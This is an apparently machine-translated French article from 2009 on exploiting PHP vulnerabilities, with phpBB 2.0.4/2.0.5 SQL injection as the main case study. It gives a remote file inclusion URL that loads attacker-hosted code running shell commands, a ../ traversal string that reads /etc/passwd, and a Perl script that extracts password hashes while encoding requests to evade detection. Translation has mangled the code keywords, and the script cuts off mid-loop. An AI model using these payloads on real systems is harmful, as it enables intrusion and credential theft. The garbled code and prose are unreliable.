Analyse de vulnérabilité des pages PHP courantes et résolution des problèmes associés
Auteur：Eve Cole
Date de mise à jour：2009-06-02 18:07:08
À en juger par la sécurité actuelle du réseau, la vulnérabilité des pages WEB qui préoccupe le plus et à laquelle tout le monde est le plus exposé devrait être ASP. À cet égard, Xiaozhu est un expert, et je n'ai pas mon mot à dire. Il existe également des vulnérabilités de sécurité très graves, mais il n'y a pas beaucoup d'articles dans ce domaine. Ici, discutons brièvement des vulnérabilités associées des pages PHP.
J'ai fait un résumé des vulnérabilités PHP courantes actuelles, qui sont grossièrement divisées dans les catégories suivantes : y compris les vulnérabilités de fichiers, les vulnérabilités d'exécution de commandes de script, les vulnérabilités de fuite de fichiers, les vulnérabilités d'injection SQL, etc. Bien sûr, comme pour certaines technologies courantes telles que Le COOKIE spoofing, je n’en parlerai pas ici, il y a beaucoup d’informations à ce sujet en ligne. Alors analysons comment exploiter ces vulnérabilités une à une !
Tout d'abord, parlons de la vulnérabilité des fichiers inclus. Cette vulnérabilité doit être considérée comme unique à PHP. Cela est dû à un traitement insuffisant des données malveillantes fournies en externe, ce qui permet à des attaquants distants d'exploiter ces vulnérabilités pour exécuter des commandes arbitraires sur le système avec le processus WEB. autorisations. Commande Regardons un exemple : Supposons qu'il existe un tel code dans a.php :
include($include."/xxx.php");
?>
Dans ce code, $include est généralement un chemin qui a été configuré, mais nous pouvons atteindre l'objectif de l'attaque en construisant nous-mêmes un chemin. Par exemple, nous soumettons : a.php?include=http://web/b. php, ce site Web est l'espace que nous utilisons pour attaquer. Bien sûr, b.php est le code que nous utilisons pour attaquer. Nous pouvons écrire quelque chose comme : passthru("/bin/ls /etc") dans le code b.php ; De cette façon, vous pouvez effectuer des attaques ciblées. (Remarque : le serveur Web ne doit pas être en mesure d'exécuter du code PHP, sinon des problèmes se produiront. Pour plus de détails, vous pouvez consulter << Comment attaquer les vulnérabilités courantes dans les programmes PHP >> ). Au niveau de cette vulnérabilité, il existe de nombreux problèmes, par exemple : PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart et bien d'autres.
Examinons ensuite la vulnérabilité d'exécution des commandes de script. Cela est dû au manque de filtrage suffisant des paramètres URI soumis par les utilisateurs. La soumission de données contenant du code HTML malveillant peut déclencher une attaque de script intersite et obtenir des informations sensibles sur le site. utilisateur cible. Donnons également un exemple : la page index.php dans PHP Transparent PHP 4.3.1 ou inférieur ne dispose pas d'un filtrage suffisant de PHPSESSID. Nous pouvons atteindre le but de l'attaque grâce à un tel code :
http://web/index.php?PHPSESSID =">Dans le script, nous pouvons construire des fonctions pour obtenir certaines informations sensibles des utilisateurs. Il existe relativement peu de vulnérabilités à cet égard. En plus de PHP Transparent, il existe également : PHP- Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board, etc.
Examinons ensuite la vulnérabilité de divulgation de fichiers. Cette vulnérabilité est due au manque de filtrage suffisant des paramètres soumis par l'utilisateur. Les attaquants distants peuvent l'utiliser pour mener des attaques par traversée de répertoire et obtenir des informations sensibles. Prenons comme exemple le phpMyAdmin récemment découvert. Dans phpMyAdmin, la page export.php ne filtre pas complètement le paramètre « quoi » soumis par l'utilisateur. Un attaquant distant peut contourner cela en soumettant des données contenant plusieurs caractères « ../ ». Surmontez les restrictions WEB ROOT et affichez toutes les informations de fichiers sur le système avec les autorisations WEB. Par exemple, saisir une telle adresse : export.php?what=../../../../../../etc/passwd%00 peut atteindre l'objectif de fuite de fichiers à cet égard. est relativement Il y en a plus : myPHPNuke, McNews, etc.
Enfin, nous revenons à l'endroit le plus excitant. Pensez à quel point il est amusant d'utiliser l'injection SQL dans les pages asp. Dans le passé, nous devions injecter manuellement jusqu'à ce que Xiaozhu découvre le « livre secret de l'injection SQL » (hehe), et. puis Après le lancement de NBSI, notre Alliance NB a vraiment fait une grande différence. Nous avons aidé à trouver des failles dans de grands sites Web tels que CSDN, Monopoly Forum et China Channel (je n'entrerai pas dans plus de bêtises à ce sujet, c'est un peu. hors sujet...). Revenons au sujet. En fait, l'injection SQL en asp est à peu près la même que l'injection SQL en php. Faites juste un peu attention aux quelques fonctions utilisées. Changez asc en ASCII, len en LENGTH. , et d'autres fonctions sont fondamentalement Rien n'a changé. En fait, quand tout le monde voit l'injection SQL dans PHP, pensent-ils tous à PHP-NUKE et PHPBB ? Oui, comme le dit le proverbe, vous devriez marquer de gros points sur des forums comme Dongwang. le roi des vulnérabilités dans le monde ASP. Cela ne veut pas dire que la sécurité de son forum est trop mauvaise, mais qu'il est trop connu. Plus d'autres l'utilisent, plus les gens le rechercheront, et plus il y aura de sécurité. des failles seront découvertes. Il en va de même pour PHPBB, et désormais un grand nombre de Si les gens utilisent PHP pour créer un forum, ils choisissent généralement PHPBB. Ses vulnérabilités émergent toujours, depuis les premières vulnérabilités découvertes dans la version phpBB 1.4.0. de phpBB.com au dernier groupcp.php dans la version phpBB 2.0.6, ainsi que search.php, profile.php, viewtopic.php, etc. qui ont été découverts auparavant, il y en a probablement une douzaine. a toujours conduit certaines personnes à l'utiliser comme produit expérimental lors de l'étude des vulnérabilités PHP, ce qu'on appelle Après beaucoup de pratique, je pense que PHPBB s'améliorera de plus en plus à l'avenir.
Bon, analysons la cause de la vulnérabilité. Prenons l'exemple de la page viewtopic.php. Lors de l'appel de viewtopic.php, le "topic_id" est obtenu directement à partir de la requête GET et transmis à la commande de requête SQL sans l'exécuter. Lors du traitement du filtrage, l'attaquant peut soumettre une chaîne SQL spéciale pour obtenir le mot de passe MD5. L'obtention de ces informations de mot de passe peut être utilisée pour une connexion automatique ou un craquage par force brute. (Je ne pense pas que quiconque voudrait faire du cracking par force brute, à moins qu'il n'y ait une raison particulièrement importante). Jetons d'abord un coup d'œil au code source concerné :
# si ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# sinon si ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
De ce qui précède, nous pouvons voir que si le view=newest et sid sont définis sur une valeur, le code de requête exécuté ressemble à ce qui suit (si vous n'avez pas vu le code source de PHPBB, je vous suggère de le lire puis de venir ici Regardez, les systèmes concernés sont : phpBB 2.0.5 et phpBB 2.0.4).
# $sql = "SELECT p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# OÙ s.session_id = '$session_id'
# ET u.user_id = s.session_user_id
# ET p.topic_id = $topic_id
# ET p.post_time >= u.user_lastvisit
# COMMANDE PAR p.post_time ASC
# LIMITE 1";
Rick a fourni le code de test suivant :
utilisez IO :: Socket ;
$remote = décalage || 'localhost';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = décalage || 2;
$port = 80 ;
$dbtype = 'mysql4'; # mysql4 ou pgsql
print "Essayer d'obtenir le hachage du mot de passe pour l'uid $uid server $remote dbtype : $dbtypen" ;
$p = "" ;
pour($index=1; $index<=32; $index++)
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Tapez => SOCK_STREAM)
ou mourir "Impossible de se connecter à $remote:$port : $@n " ;
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) "&view=newest" .
imprimer $socket $str;
print $socket "Cookie : phpBB2mysql_sid=1n" ; # remplacez-le par pgsql ou supprimez-le
print $socket "Hôte : $remotenn" ;
tandis que ($réponse = <$socket>)
{
if ($answer =~ /location:.*x23(d+)/) # Correspond à l'emplacement : viewtopic.php?p=#
{
$p .= chr ();
}
}
fermer($socket);
}
print "nMD5 Hash pour l'uid $uid est $pn" ;
# l'encodage aléatoire permet d'éviter la détection.
sous random_encode
{
$str = décalage ;
$ret = "";
pour($i=0; $i
